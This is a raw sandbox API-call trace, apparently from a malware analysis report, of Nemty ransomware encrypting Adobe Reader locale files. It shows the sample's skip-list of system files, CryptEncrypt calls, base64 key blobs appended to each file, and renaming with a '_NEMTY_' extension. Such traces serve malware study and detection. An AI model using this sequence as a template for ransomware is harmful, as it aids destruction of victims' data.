0x4f9ecb8 [0182.492] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MakeAccessible.RUM", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MakeAccessible.RUM", lpUsedDefaultChar=0x0) returned 18 [0182.492] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.492] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0182.492] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0182.492] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0182.492] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MakeAccessible.RUM", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0182.492] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.492] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MakeAccessible.RUM", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MakeAccessible.RUM", lpUsedDefaultChar=0x0) returned 18 [0182.492] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0182.492] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0182.492] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MakeAccessible.RUM", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0182.492] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0182.492] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MakeAccessible.RUM", cchWideChar=18, lpMultiByteStr=0x4f9ed58, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MakeAccessible.RUM", lpUsedDefaultChar=0x0) returned 18 [0182.492] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0182.492] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0182.492] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0182.492] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0182.492] Sleep (dwMilliseconds=0x5) [0182.502] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x206d3ad0, dwHighDateTime=0x1d561e8)) [0182.502] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x206d3ad0, dwHighDateTime=0x1d561e8)) [0182.502] GetLastError () returned 0x0 [0182.502] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0182.502] GetLastError () returned 0x0 [0182.503] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0182.503] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0182.503] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0182.503] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0182.503] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0182.503] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0182.503] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0182.503] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="VOEBMfrAPl5WXKXrSa/0xS0ylb9Nwb3rRxgUKNX3KLrT9CiMcPzD1y2A4TQl79cd\r\nzzmPoaKrl4OhD1TBXF23gW8bVemFauOa+rlRLqdG+mUl/5ulJGfgc43J3EzQh9vO\r\n6diCGBrAyr6h8doHSzbU9nO+qJeQpQK+pxZw0ywDMCDUed2O8cz8Xcb2hxdLtH7V\r\nnZwRmUQmbcRa8FtuR8+8lpQw/ZBcArYeo08iTTYcA3RvGYLxB8x8FLHpWllwyHso\r\nm5XmRBcCJifQFYHl7ZeZWB0Jhv+aPD0+5UXjzT1ze+vtbtUiTRYRSVKDkSdkxl+8\r\nWTmzAX7fygwafJhRzVEiqw==\r\n", pcchString=0x653e5dc) returned 1 [0182.503] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0182.503] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0182.503] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0182.503] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0182.503] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0182.503] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0182.503] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\MakeAccessible.RUM" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ro_ro\\makeaccessible.rum"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0182.503] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=80384) returned 1 [0182.504] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x13a00) returned 0x6352c48 [0182.504] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0182.504] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x13a00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x13a00, lpOverlapped=0x0) returned 1 [0182.510] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0182.510] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x13a00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x13a00, lpOverlapped=0x0) returned 1 [0182.511] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0182.511] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=80384, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x13a00 [0182.511] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0182.511] CloseHandle (hObject=0x2e8) returned 1 [0182.511] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0182.511] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0182.511] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0182.511] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0182.511] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0182.511] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0182.511] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340308 [0182.511] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63403c0 [0182.511] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0182.511] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0182.511] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\MakeAccessible.RUM" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ro_ro\\makeaccessible.rum"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\MakeAccessible.RUM._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ro_ro\\makeaccessible.rum._nemty_kgobjgd_")) returned 1 [0182.512] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403c0 | out: hHeap=0x4f90000) returned 1 [0182.512] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0182.512] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0182.512] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0182.512] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0182.512] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0182.512] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0182.512] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0182.512] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0182.512] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.512] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d7bb9a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Multimedia.RUM", cAlternateFileName="MULTIM~1.RUM")) returned 1 [0182.512] lstrcmpiW (lpString1="Multimedia.RUM", lpString2=".") returned 1 [0182.512] lstrcmpiW (lpString1="Multimedia.RUM", lpString2="..") returned 1 [0182.512] lstrcmpiW (lpString1="Multimedia.RUM", lpString2="...") returned 1 [0182.512] lstrcmpiW (lpString1="Multimedia.RUM", lpString2="windows") returned -1 [0182.512] lstrcmpiW (lpString1="Multimedia.RUM", lpString2="$RECYCLE.BIN") returned 1 [0182.512] lstrcmpiW (lpString1="Multimedia.RUM", lpString2="rsa") returned -1 [0182.512] lstrcmpiW (lpString1="Multimedia.RUM", lpString2="NTDETECT.COM") returned -1 [0182.512] lstrcmpiW (lpString1="Multimedia.RUM", lpString2="ntldr") returned -1 [0182.512] lstrcmpiW (lpString1="Multimedia.RUM", lpString2="MSDOS.SYS") returned 1 [0182.512] lstrcmpiW (lpString1="Multimedia.RUM", lpString2="IO.SYS") returned 1 [0182.512] lstrcmpiW (lpString1="Multimedia.RUM", lpString2="boot.ini") returned 1 [0182.513] lstrcmpiW (lpString1="Multimedia.RUM", lpString2="boot.ini") returned 1 [0182.513] lstrcmpiW (lpString1="Multimedia.RUM", lpString2="AUTOEXEC.BAT") returned 1 [0182.513] lstrcmpiW (lpString1="Multimedia.RUM", lpString2="ntuser.dat") returned -1 [0182.513] lstrcmpiW (lpString1="Multimedia.RUM", lpString2="desktop.ini") returned 1 [0182.513] lstrcmpiW (lpString1="Multimedia.RUM", lpString2="CONFIG.SYS") returned 1 [0182.513] lstrcmpiW (lpString1="Multimedia.RUM", lpString2="RECYCLER") returned -1 [0182.513] lstrcmpiW (lpString1="Multimedia.RUM", lpString2="BOOTSECT.BAK") returned 1 [0182.513] lstrcmpiW (lpString1="Multimedia.RUM", lpString2="bootmgr") returned 1 [0182.513] lstrcmpiW (lpString1="Multimedia.RUM", lpString2="programdata") returned -1 [0182.513] lstrcmpiW (lpString1="Multimedia.RUM", lpString2="appdata") returned 1 [0182.513] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.513] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.RUM", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0182.513] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.RUM", cchWideChar=14, lpMultiByteStr=0x653e890, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Multimedia.RUM", lpUsedDefaultChar=0x0) returned 14 [0182.513] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0182.513] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.RUM", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0182.513] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.RUM", cchWideChar=14, lpMultiByteStr=0x653e890, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Multimedia.RUM", lpUsedDefaultChar=0x0) returned 14 [0182.513] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0182.513] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.513] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.513] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.RUM", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0182.513] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.RUM", cchWideChar=14, lpMultiByteStr=0x653e8e0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Multimedia.RUM", lpUsedDefaultChar=0x0) returned 14 [0182.513] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.513] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.513] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.RUM", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0182.513] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.RUM", cchWideChar=14, lpMultiByteStr=0x653e918, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Multimedia.RUM", lpUsedDefaultChar=0x0) returned 14 [0182.513] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.513] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0182.513] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0182.513] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0182.513] Sleep (dwMilliseconds=0x5) [0182.518] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x206f9c30, dwHighDateTime=0x1d561e8)) [0182.518] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x206f9c30, dwHighDateTime=0x1d561e8)) [0182.518] GetLastError () returned 0x0 [0182.518] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0182.518] GetLastError () returned 0x0 [0182.518] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.518] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0182.518] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0182.518] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0182.518] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0182.518] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0182.518] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0182.518] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="4ZJnYD6Av/vIWEhGgGSLRd1v2Piu0CK8o/QB96wt6UFNQgPAtGPxJMTkMegk5kom\r\nBkuSu9ROPLpA6usZtwTNZuxva3G5gmgoLoZ6tgZX6zCjN1Mtx/QYgOR8dSui7uSu\r\n79UDt43QCV1Yoy35H4eXY4/gr3m3UTrKj0zgNk+hUjJC/oCp+Tm8dXSaK3wWDIPg\r\nPOuXgac5YBeR8dalRCAKKjSe/KV6myViZCUaQaSDyMVnPW7gyyosAF7pbh60PBpR\r\naBcToi6LEHO8T9uTDp91d6RRVRcqzxtmtTjPF6B/3e5TxbsuOvZmgNgrQt9d2Jnm\r\nqvn+sR9jin+z5LbU05XODA==\r\n", pcchString=0x653e5dc) returned 1 [0182.518] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0182.518] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0182.518] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0182.518] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0182.518] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0182.519] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0182.519] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\Multimedia.RUM" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ro_ro\\multimedia.rum"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0182.519] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=80384) returned 1 [0182.519] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x13a00) returned 0x6352c48 [0182.519] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0182.519] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x13a00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x13a00, lpOverlapped=0x0) returned 1 [0182.526] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0182.526] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x13a00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x13a00, lpOverlapped=0x0) returned 1 [0182.526] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0182.526] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=80384, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x13a00 [0182.526] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0182.526] CloseHandle (hObject=0x2e8) returned 1 [0182.527] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0182.527] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0182.527] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0182.527] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0182.527] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0182.527] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0182.527] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0182.527] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0182.527] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0182.527] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0182.527] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\Multimedia.RUM" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ro_ro\\multimedia.rum"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\Multimedia.RUM._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ro_ro\\multimedia.rum._nemty_kgobjgd_")) returned 1 [0182.527] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0182.527] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0182.527] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0182.527] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0182.527] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0182.527] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0182.527] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.528] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0182.528] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db27940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="PDDom.RUM", cAlternateFileName="")) returned 1 [0182.528] lstrcmpiW (lpString1="PDDom.RUM", lpString2=".") returned 1 [0182.528] lstrcmpiW (lpString1="PDDom.RUM", lpString2="..") returned 1 [0182.528] lstrcmpiW (lpString1="PDDom.RUM", lpString2="...") returned 1 [0182.528] lstrcmpiW (lpString1="PDDom.RUM", lpString2="windows") returned -1 [0182.528] lstrcmpiW (lpString1="PDDom.RUM", lpString2="$RECYCLE.BIN") returned 1 [0182.528] lstrcmpiW (lpString1="PDDom.RUM", lpString2="rsa") returned -1 [0182.528] lstrcmpiW (lpString1="PDDom.RUM", lpString2="NTDETECT.COM") returned 1 [0182.528] lstrcmpiW (lpString1="PDDom.RUM", lpString2="ntldr") returned 1 [0182.528] lstrcmpiW (lpString1="PDDom.RUM", lpString2="MSDOS.SYS") returned 1 [0182.528] lstrcmpiW (lpString1="PDDom.RUM", lpString2="IO.SYS") returned 1 [0182.528] lstrcmpiW (lpString1="PDDom.RUM", lpString2="boot.ini") returned 1 [0182.528] lstrcmpiW (lpString1="PDDom.RUM", lpString2="boot.ini") returned 1 [0182.528] lstrcmpiW (lpString1="PDDom.RUM", lpString2="AUTOEXEC.BAT") returned 1 